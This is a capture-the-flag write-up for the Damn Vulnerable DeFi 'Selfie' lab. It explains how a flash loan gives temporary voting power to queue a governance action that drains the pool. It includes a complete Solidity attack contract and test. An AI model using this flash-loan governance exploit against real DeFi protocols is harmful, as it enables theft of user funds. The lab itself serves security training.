# Damn Vulnerable DeFi V4 - Selfie [toc] ## Intro A new lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it. What could go wrong, right ? You start with no DVT tokens in balance, and the pool has 1.5 million at risk. Rescue all funds from the pool and deposit them into the designated recovery account. <br> ## Source Code Source code - https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/selfie Test - https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/selfie/Selfie.t.sol <br> ## Analysis ### Win Condition 1. Drain the pool 2. Transfer the funds to the `recovery` ```solidity= function _isSolved() private view { // Player has taken all tokens from the pool assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens"); assertEq( token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account" ); } ``` <br> ### Code Analysis - SelfiePool 1. To win the game, we need to run the `SelfiePool.emergencyExit()` function - We need to pass the `onlyGovernance` modifier ```solidity=24 modifier onlyGovernance() { if (msg.sender != address(governance)) { revert CallerNotGovernance(); } _; } ``` 2. We are not able to change the `governance` since is immutable - **But we can execute it as `governance`** 3. There's a flashLoan function - Won't check if borrower(`_receiver`) is the `msg.sender` <br> ### Code Analysis - SimpleGovernance To use this contract, the normal flow is - `queueAction()` - Vote the `target` execute the `msg.data` - **The check `_hasEnoughVotes` make sure if the sender has enough voting pwer** - Wait 2 days - `executeAction()` - It checks if the vote has wait for 2 days - The `actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value);` will execute the `msg.data` was put from `queueAction()` ```solidity=53 function executeAction(uint256 actionId) external payable returns (bytes memory) { if (!_canBeExecuted(actionId)) { revert CannotExecute(actionId); } GovernanceAction storage actionToExecute = _actions[actionId]; actionToExecute.executedAt = uint64(block.timestamp); emit ActionExecuted(actionId, msg.sender); return actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value); } ``` <br> ### Issue The `_hasEnoughVotes` has logic issue - **It only check the purposer has more than half of the total supply during the function call** - Not check again during `executeAction()` ```solidity=100 function _hasEnoughVotes(address who) private view returns (bool) { uint256 balance = _votingToken.getVotes(who); uint256 halfTotalSupply = _votingToken.totalSupply() / 2; return balance > halfTotalSupply; } ``` We can exploit this bug by 1. Lend a flashloan, pumps up our token balance 2. Run the `queueAction()` - Purpose a malicious vote - `SelfiePool` to run the `emergencyExit` in `msg.data` 3. Wait 2 days 4. Now we can execute the malicious vote via `executeAction()` <br> ## Attack 1. Start the trigger 2. Start the flashLoan, and get the funds to this contract 3. ERC3156FlashBorrower's onFlashLoan callback function - After flashLoan executes, it calls the `onFlashLoan` function from the borrower 4. simulate 2 days after 5. Starts execute the malicious vote we put earlier 6. Simply call the executeAction() ```solidity= function test_selfie() public checkSolvedByPlayer { AttackContract attack = new AttackContract( address(pool), recovery, address(governance), address(token) ); // 1. Start the trigger attack.startTrigger(); // 4. simulate s days after vm.warp(block.timestamp + 2 days); // 5. Starts execute the malicious vote we put earlier attack.executeAction(); } ... contract AttackContract is IERC3156FlashBorrower { // setup the env, all follow the original struct SelfiePool pool; SimpleGovernance governance; address recovery; DamnValuableVotes DVT_token; uint256 actionID; constructor( address _pool, address _recovery, address _governance, address _token ) { pool = SelfiePool(_pool); recovery = _recovery; governance = SimpleGovernance(_governance); DVT_token = DamnValuableVotes(_token); } // 2. Start the flashLoan, and get the funds to this contract function startTrigger() external { pool.flashLoan( IERC3156FlashBorrower(address(this)), address(DVT_token), 1_500_000e18, "" ); } // 3. ERC3156FlashBorrower's onFlashLoan callback function // After flashLoan executes, it calls the `onFlashLoan` function from the borrower // Here we starts our malicious votes function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32) { // Make sure this contract can vote DVT_token.delegate(address(this)); // Construct the malicious vote data bytes memory maliciousVotesData = abi.encodeWithSignature( "emergencyExit(address)", recovery ); // Now we have the flashloan DVT token, we can start the queueAction() // Here we vote the Selfie Pool to execute the following data // abi.encodeWithSignature("emergencyExit(address)", recovery) // This maliciousVotesData will gets execute at the source code // actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value); actionID = governance.queueAction(address(pool), 0, maliciousVotesData); // Make sure we are able to refund the flashloan (pool in this case) IERC20(DVT_token).approve(address(pool), amount + fee); // Return SUCCESS as protocol defined return keccak256("ERC3156FlashBorrower.onFlashLoan"); } // 6. Simply call the executeAction() function executeAction() external { bytes memory results = governance.executeAction(actionID); } } ```